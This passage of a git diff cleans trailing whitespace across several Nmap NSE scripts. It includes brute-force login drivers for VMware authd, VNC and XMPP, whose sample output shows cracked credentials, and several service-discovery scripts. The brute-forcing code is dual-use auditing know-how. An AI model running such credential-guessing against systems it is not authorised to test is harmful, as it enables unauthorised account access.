902/tcp open iss-realsecure --- | vmauthd-brute: +-- | vmauthd-brute: -- | Accounts -- | root:00000 - Valid credentials -- | Statistics @@ -31,19 +31,19 @@ portrule = shortport.port_or_service(902, {"ssl/vmware-auth", "vmware-auth"}, "t local function fail(err) return ("\n ERROR: %s"):format(err) end Driver = { - + new = function(self, host, port, options) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) self.socket = nmap.new_socket() return self.socket:connect(self.host, self.port) end, - + login = function(self, username, password) local status, line = self.socket:receive_buf("\r\n", false) if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then @@ -56,7 +56,7 @@ Driver = { err:setRetry( true ) return false, err end - + local status, response = self.socket:receive_buf("\r\n", false) if ( not(status) or not(response:match("^331") ) ) then local err = brute.Error:new( "Received unexpected response from server" ) @@ -75,20 +75,20 @@ Driver = { if ( response:match("^230") ) then return true, brute.Account:new(username, password, creds.State.VALID) end - + return false, brute.Error:new( "Login incorrect" ) end, - + disconnect = function(self) return self.socket:close() end - + } -local function checkAuthd(host, port) +local function checkAuthd(host, port) local socket = nmap.new_socket() local status = socket:connect(host, port) - + if( not(status) ) then return false, "Failed to connect to server" end diff --git a/scripts/vnc-brute.nse b/scripts/vnc-brute.nse index 1644c83bd..c04c551e7 100644 --- a/scripts/vnc-brute.nse +++ b/scripts/vnc-brute.nse @@ -15,7 +15,7 @@ Performs brute force password auditing against VNC servers. -- @output -- PORT STATE SERVICE REASON -- 5900/tcp open vnc syn-ack --- | vnc-brute: +-- | vnc-brute: -- | Accounts -- |_ 123456 => Valid credentials -- @@ -38,7 +38,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(5901, "vnc", "tcp", "open") -Driver = +Driver = { new = function(self, host, port) @@ -49,9 +49,9 @@ Driver = o.port = port return o end, - + connect = function( self ) - local status, data + local status, data self.vnc = vnc.VNC:new( self.host.ip, self.port.number ) status, data = self.vnc:connect() if ( not(status) ) then @@ -76,7 +76,7 @@ Driver = data:match("Your connection has been rejected.") ) ) then local err = brute.Error:new( data ) err:setAbort( true ) - return false, err + return false, err elseif ( not(status) ) then local err = brute.Error:new( "VNC handshake failed" ) -- This might be temporary, set the retry flag @@ -92,20 +92,20 @@ Driver = local err = brute.Error:new( data ) -- This might be temporary, set the retry flag err:setRetry( true ) - return false, err + return false, err end return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function( self ) self.vnc:disconnect() end, - + check = function( self ) local vnc = vnc.VNC:new( self.host.ip, self.port.number ) - local status, data + local status, data status, data = vnc:connect() if ( not(status) ) then @@ -125,21 +125,21 @@ Driver = if ( data:match("The server does not support.*security type") ) then return stdnse.format_output( false, " \n " .. data ) end - + return true end, - + } action = function(host, port) - local status, result + local status, result local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true engine.options:setOption( "passonly", true ) - + status, result = engine:start() return result diff --git a/scripts/vnc-info.nse b/scripts/vnc-info.nse index 99f1623eb..09c257220 100644 --- a/scripts/vnc-info.nse +++ b/scripts/vnc-info.nse @@ -15,7 +15,7 @@ categories = {"default", "discovery", "safe"} -- @output -- PORT STATE SERVICE -- 5900/tcp open vnc --- | vnc-info: +-- | vnc-info: -- | Protocol version: 3.889 -- | Security types: -- | Mac OS X security type (30) @@ -47,10 +47,10 @@ action = function(host, port) local vnc = vnc.VNC:new( host.ip, port.number ) local status, data local result = stdnse.output_table() - + status, data = vnc:connect() if ( not(status) ) then return " \n ERROR: " .. data end - + status, data = vnc:handshake() if ( not(status) ) then return " \n ERROR: " .. data end @@ -62,10 +62,10 @@ action = function(host, port) if ( data and #data ~= 0 ) then result["Security types"] = data end - + if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then result["WARNING"] = "Server does not require authentication" end - + return result end diff --git a/scripts/voldemort-info.nse b/scripts/voldemort-info.nse index af6afce6c..40ad11303 100644 --- a/scripts/voldemort-info.nse +++ b/scripts/voldemort-info.nse @@ -15,7 +15,7 @@ Retrieves cluster and store information from the Voldemort distributed key-value -- @output -- PORT STATE SERVICE -- 6666/tcp open irc --- | voldemort-info: +-- | voldemort-info: -- | Cluster -- | Name: mycluster -- | Id: 0 @@ -54,24 +54,24 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function connect(host, port) local socket = nmap.new_socket() socket:set_timeout(5000) - + local status, err = socket:connect(host, port) if ( not(status) ) then return false, "Failed to connect to server" end - + status, err = socket:send("vp3") if ( not(status) ) then return false, "Failed to send request to server" end - + local response status, response = socket:receive(2) if ( not(status) ) then return false, "Failed to receive response from server" elseif( response ~= "ok" ) then return false, "Unsupported protocol" - end + end return true, socket end @@ -81,7 +81,7 @@ end -- @return status true on success false on failure -- @return data string as received from the server local function getMetadata(socket, file) - + local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file) local status, err = socket:send(req) if ( not(status) ) then @@ -124,7 +124,7 @@ action = function(host, port) { key = "Routing", match = ".-(.-)" }, }, } - + -- connect to the server local status, socket = connect(host, port) if ( not(status) ) then @@ -145,7 +145,7 @@ action = function(host, port) table.insert(cluster_tbl, ("%s: %s"):format(item.key, val)) end end - + -- get the stores meta data local status, response = getMetadata(socket, "stores.xml") if ( not(status) or not(response:match(".-")) ) then @@ -165,7 +165,7 @@ action = function(host, port) if ( val ) then table.insert(store_tbl, ("%s: %s"):format(item.key, val)) end - end + end table.insert(stores, store_tbl) end table.insert(result, stores) diff --git a/scripts/vuze-dht-info.nse b/scripts/vuze-dht-info.nse index 29d4d9bae..0ee4d9b41 100644 --- a/scripts/vuze-dht-info.nse +++ b/scripts/vuze-dht-info.nse @@ -15,7 +15,7 @@ Retrieves some basic information, including protocol version from a Vuze filesha -- @output -- PORT STATE SERVICE VERSION -- 17555/udp open vuze-dht Vuze --- | vuze-dht-info: +-- | vuze-dht-info: -- | Transaction id: 9438865 -- | Connection id: 0xFF79A77B4592BDB0 -- | Protocol version: 50 @@ -53,31 +53,31 @@ local function getDHTInfo(host, port, lhost) local helper = vuzedht.Helper:new(host, port, lhost) local status = helper:connect() - + if ( not(status) ) then return false, "\n ERROR: Failed to connect to server" end - + local response status, response = helper:ping() if ( not(status) ) then return false, "\n ERROR: Failed to ping vuze node" end helper:close() - + return true, response end action = function(host, port) local status, response = getDHTInfo(host, port) - + -- check whether we have an error due to an incorrect address -- ie. we're on a NAT:ed network and we're announcing our private ip if ( status and response.header.action == vuzedht.Response.Actions.ERROR ) then status, response = getDHTInfo(host, port, response.addr.ip) end - + if ( status ) then nmap.set_port_state(host, port, "open") return tostring(response) diff --git a/scripts/weblogic-t3-info.nse b/scripts/weblogic-t3-info.nse index 81ddf97f6..fdcbec626 100644 --- a/scripts/weblogic-t3-info.nse +++ b/scripts/weblogic-t3-info.nse @@ -4,7 +4,7 @@ local shortport = require "shortport" local nmap = require "nmap" description = "Detect the T3 RMI protocol and Weblogic version" -author = "Alessandro ZANNI , Daniel Miller" +author = "Alessandro ZANNI , Daniel Miller" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"default","safe","discovery","version"} @@ -19,7 +19,7 @@ action = function(host, port) local status, result = comm.exchange(host, port, "t3 12.1.2\nAS:2048\nHL:19\n\n", {proto=port.protocol, timeout=5000}) - + if (not status) then return nil end @@ -63,13 +63,13 @@ action = function(host, port) port.version.extrainfo = extrainfo .. "T3 enabled" rval = "T3 protocol in use (No such command)" end - + if rval then if port.version.product == nil then port.version.product = "WebLogic application server" end nmap.set_port_version(host, port, "hardmatched") end - + return rval end diff --git a/scripts/whois-domain.nse b/scripts/whois-domain.nse index 7ae9c9d4a..f28b3487e 100644 --- a/scripts/whois-domain.nse +++ b/scripts/whois-domain.nse @@ -2,7 +2,7 @@ description = [[ Attempts to retrieve information about the domain name of the target ]] ---- +--- -- @usage nmap --script whois-domain.nse -- -- This script starts by quering the whois.iana.org (which is the root of the @@ -15,7 +15,7 @@ Attempts to retrieve information about the domain name of the target -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | whois-domain: +-- | whois-domain: -- | whois3: Record found at whois.arin.net -- | netrange: 199.19.112.0 - 199.19.119.255 -- | netname: WEBRULON-NETWORK @@ -114,7 +114,7 @@ action = function( host ) local result - -- First server to query is iana's. + -- First server to query is iana's. local referral = "whois.iana.org" while referral do diff --git a/scripts/wsdd-discover.nse b/scripts/wsdd-discover.nse index f49d48c6a..05bf6a7f1 100644 --- a/scripts/wsdd-discover.nse +++ b/scripts/wsdd-discover.nse @@ -5,7 +5,7 @@ local stdnse = require "stdnse" local table = require "table" local wsdd = require "wsdd" -description = [[ +description = [[ Retrieves and displays information from devices supporting the Web Services Dynamic Discovery (WS-Discovery) protocol. It also attempts to locate any published Windows Communication Framework (WCF) web @@ -19,13 +19,13 @@ services (.NET 4.0 or later). -- @output -- PORT STATE SERVICE -- 3702/udp open|filtered unknown --- | wsdd-discover: +-- | wsdd-discover: -- | Devices -- | Message id: 39a2b7f2-fdbd-690c-c7c9-deadbeefceb3 -- | Address: http://10.0.200.116:50000 -- |_ Type: Device wprt:PrintDeviceType -- --- +-- -- -- Version 0.1 @@ -49,7 +49,7 @@ discoverThread = function( funcname, host, port, results ) local condvar = nmap.condvar( results ) local helper = wsdd.Helper:new(host, port) helper:setTimeout(timeout) - + local status, result = helper[funcname](helper) if ( status ) then table.insert(results, result) end condvar("broadcast") @@ -66,12 +66,12 @@ action = function(host, port) local threads, results = {}, {} local condvar = nmap.condvar( results ) - + -- Attempt to discover both devices and WCF web services for _, f in ipairs( {"discoverDevices", "discoverWCFServices"} ) do threads[stdnse.new_thread( discoverThread, f, host, port, results )] = true end - + local done -- wait for all threads to finish while( not(done) ) do diff --git a/scripts/xdmcp-discover.nse b/scripts/xdmcp-discover.nse index e92a807a8..a5da1c134 100644 --- a/scripts/xdmcp-discover.nse +++ b/scripts/xdmcp-discover.nse @@ -15,7 +15,7 @@ Requests an XDMCP (X display manager control protocol) session and lists support -- @output -- PORT STATE SERVICE -- 177/udp open|filtered xdmcp --- | xdmcp-discover: +-- | xdmcp-discover: -- | Session id: 0x0000703E -- | Authorization name: MIT-MAGIC-COOKIE-1 -- |_ Authorization data: c282137c9bf8e2af88879e6eaa922326 @@ -30,7 +30,7 @@ portrule = shortport.port_or_service(177, "xdmcp", "udp") local mutex = nmap.mutex("xdmcp-discover") local function fail(err) return ("\n ERROR: %s"):format(err or "") end - + action = function(host, port) @@ -43,9 +43,9 @@ action = function(host, port) return fail("Failed to connect to server") end - local status, response = helper:createSession(nil, + local status, response = helper:createSession(nil, {"MIT-MAGIC-COOKIE-1", "XDM-AUTHORIZATION-1"}, DISPLAY_ID) - + if ( not(status) ) then return fail("Failed to create xdmcp session") end diff --git a/scripts/xmpp-brute.nse b/scripts/xmpp-brute.nse index d5175f3ab..9e8a3c6b4 100644 --- a/scripts/xmpp-brute.nse +++ b/scripts/xmpp-brute.nse @@ -16,7 +16,7 @@ Performs brute force password auditing against XMPP (Jabber) instant messaging s -- @output -- PORT STATE SERVICE -- 5222/tcp open xmpp-client --- | xmpp-brute: +-- | xmpp-brute: -- | Accounts -- | CampbellJ:arthur321 - Valid credentials -- | CampbellA:joan123 - Valid credentials @@ -44,7 +44,7 @@ local mech ConnectionPool = {} -Driver = +Driver = { -- Creates a new driver instance @@ -57,7 +57,7 @@ Driver = self.__index = self return o end, - + -- Connects to the server (retrieves a connection from the pool) connect = function( self ) self.helper = ConnectionPool[coroutine.running()] @@ -77,7 +77,7 @@ Driver = -- @return brute.Error on failure and brute.Account on success login = function( self, username, password ) local status, err = self.helper:login( username, password, mech ) - if ( status ) then + if ( status ) then self.helper:close() self.helper:connect() return true, brute.Account:new(username, password, creds.State.VALID) @@ -88,17 +88,17 @@ Driver = local err = brute.Error:new( err ) -- This might be temporary, set the retry flag err:setRetry( true ) - return false, err + return false, err end return false, brute.Error:new( "Incorrect password" ) end, - + -- Disconnects from the server (release the connection object back to -- the pool) disconnect = function( self ) return true end, - + } @@ -107,34 +107,34 @@ action = function(host, port) local options = { servername = stdnse.get_script_args("xmpp-brute.servername") } local helper = xmpp.Helper:new(host, port, options) local status, err = helper:connect() - if ( not(status) ) then + if ( not(status) ) then return "\n ERROR: Failed to connect to XMPP server" end - + local mechs = helper:getAuthMechs() if ( not(mechs) ) then return "\n ERROR: Failed to retreive authentication mechs from XMPP server" end - - local mech_prio = stdnse.get_script_args("xmpp-brute.auth") + + local mech_prio = stdnse.get_script_args("xmpp-brute.auth") mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"} - + for _, mp in ipairs(mech_prio) do - for m, _ in pairs(mechs) do + for m, _ in pairs(mechs) do if ( mp == m ) then mech = m; break end end if ( mech ) then break end end - + if ( not(mech) ) then return "\n ERROR: Failed to find suitable authentication mechanism" end - + local engine = brute.Engine:new(Driver, host, port, options) engine.options.script_name = SCRIPT_NAME local result status, result = engine:start() - + return result end diff --git a/scripts/xmpp-info.nse b/scripts/xmpp-info.nse index 6b47a1ca8..dd50d94bd 100644 --- a/scripts/xmpp-info.nse +++ b/scripts/xmpp-info.nse @@ -16,22 +16,22 @@ server capabilities. If possible, studies server vendor. -- @output -- PORT STATE SERVICE REASON VERSION -- 5222/tcp open jabber syn-ack ejabberd (Protocol 1.0) --- | xmpp-info: +-- | xmpp-info: -- | Respects server name --- | info: --- | xmpp: +-- | info: +-- | xmpp: -- | lang: en -- | version: 1.0 -- | capabilities: -- | node: http://www.process-one.net/en/ejabberd/ -- | ver: TQ2JFyRoSa70h2G1bpgjzuXb2sU= --- | features: +-- | features: -- | In-Band Registration -- | auth_mechanisms: -- | DIGEST-MD5 -- | SCRAM-SHA-1 -- | PLAIN --- | pre_tls: +-- | pre_tls: -- | features: -- |_ TLS --@xmloutput @@ -98,7 +98,7 @@ end -- Be carefull while adding fingerprints into the table - it must be well sorted -- as some fingerprints are actually supersetted by another... local id_database = { - { + { --f3af7012-5d06-41dc-b886-42521de4e198 --'' regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. @@ -117,14 +117,14 @@ local id_database = { check = check_citadele }, - { + { --1082952309 --(no) regexp1 = '^' .. string.rep('[0-9]', 9) .. '$', regexp2 = nil, name = 'jabberd' }, - { + { --1082952309 --(no) regexp1 = '^' .. string.rep('[0-9]', 10) .. '$', @@ -132,7 +132,7 @@ local id_database = { name = 'jabberd' }, - { + { --8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c --egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$', @@ -140,7 +140,7 @@ local id_database = { name = 'jabberd2' }, - { + { --4c9e369a841db417 --fc0a60b82275289e regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', @@ -148,7 +148,7 @@ local id_database = { name = 'Isode M-Link' }, - { + { --1114798225 --494549622 regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$', @@ -156,7 +156,7 @@ local id_database = { name = 'ejabberd' }, - { + { --5f049d72 --3b5b40b regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$', @@ -165,7 +165,7 @@ local id_database = { }, - { + { --c7cd895f-e006-473b-9623-c0aae85f17fc --tigase-error-tigase regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' .. @@ -176,7 +176,7 @@ local id_database = { regexp2 = '^tigase[-]error[-]tigase$', name = 'Tigase' }, - { + { -- tigase.org (in case of bad DNS name): --tigase-error-tigase --tigase-error-tigase @@ -185,7 +185,7 @@ local id_database = { name = 'Tigase' }, - { + { --4c9e369a841db417 --fc0a60b82275289e regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$', @@ -296,9 +296,9 @@ local scan = function(host, port, server_name, tls) local is_starttls, tls_required, in_error, got_text while true do local tag = receive_tag(client) - if not tag then + if not tag then table.insert(err, "(timeout)") - break + break end log_tag(tag) if tag.name == "stream:features" and tag.finish then @@ -380,7 +380,7 @@ local scan = function(host, port, server_name, tls) if tag.finish then table.insert(mechanisms, tag.contents) end - elseif tag.name == "c" and inside() then + elseif tag.name == "c" and inside() then --http://xmpp.org/extensions/xep-0115.html --sample: jabber.ru if tag.attrs and tag.attrs.node then @@ -408,11 +408,11 @@ local scan = function(host, port, server_name, tls) end end - if tag.name == "stream:error" then + if tag.name == "stream:error" then if tag.start then in_error = tag.start elseif not got_text then -- non-RFC compliant server! - if tag.contents ~= "" then + if tag.contents ~= "" then table.insert(err, {text= tag.contents}) end in_error = false